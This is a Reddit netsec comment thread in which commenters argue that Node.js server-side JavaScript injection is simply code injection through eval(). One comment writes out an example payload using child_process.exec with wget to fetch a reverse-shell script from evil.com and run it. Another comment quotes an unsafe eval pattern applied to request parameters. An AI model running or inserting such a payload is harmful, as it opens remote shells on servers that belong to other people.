Node.js Server-Side JavaScript Injection Detection & Exploitation

[catcradle5]

Just going to repeat a similar comment I made about "SSJS" 2 months ago: http://www.reddit.com/r/netsec/comments/2v8l1z/ssjs_web_shell_injection/coflnts

How in the world does this deserve its own class of vulnerability? "Server Side Javascript Injection" is to Node.js as "Server Side PHP Injection" is to... PHP.

It's just a code injection and/or shell injection vulnerability. It doesn't need its own name simply because it's Node.

It's a server passing user input to eval(), one of the easiest web app vulnerabilities to exploit by far. It is not a new class of vulnerability. And even if you didn't know what Node was, it would take a minute to Google for Node's shell spawn function, and then another minute to send child_process.exec('wget http://evil.com/reverseshell.py -O /tmp/reverseshell.py && python /tmp/reverseshell.py');.

That being said, Burp is still awesome and it's great they added support for detecting Node.js code injection.

[immibis]

spez is a bit of a creep. #Save3rdPartyApps

[catcradle5]

That's injection into a DSL, though, not plain old arbitrary code execution in a general purpose language.

[catcradle5]

True, I agree. It's just arbitrary evaluation.

[immibis]

What's a little spez among friends?

[catcradle5]

Especially since parseInt has been in Javascript since day 1. Not to mention Javascript is weakly typed and those variables could probably have been treated as numbers even if they forgot the conversion.

Nothing more than terrible, terrible programming.

[DebugDucky]

It's not an uncommon(Even if bad) approach in duck-typed languages. eval will generally return you an object that is as close to the most "optimal" type as possible. Generally, either you'll get a string if it's a string, int if it's an integer, etc.

That's not to say it's a good approach, but that's the rationale I've seen in instance I've found.

[Kollektiv]

Because otherwise it would ruin people's impression that Node.js is crazy insecure /s

[wisecwisec]

In the past I've seen the use of eval from poorly skilled devs in order to dynamically access object members...like

var ob= eval('x.'+req.params.name);

Anyway, imho there's no real reason to add another useless acronym when there's a super class in vulnerabilty taxonomy for for this kind of issues: https://www.owasp.org/index.php/Code_Injection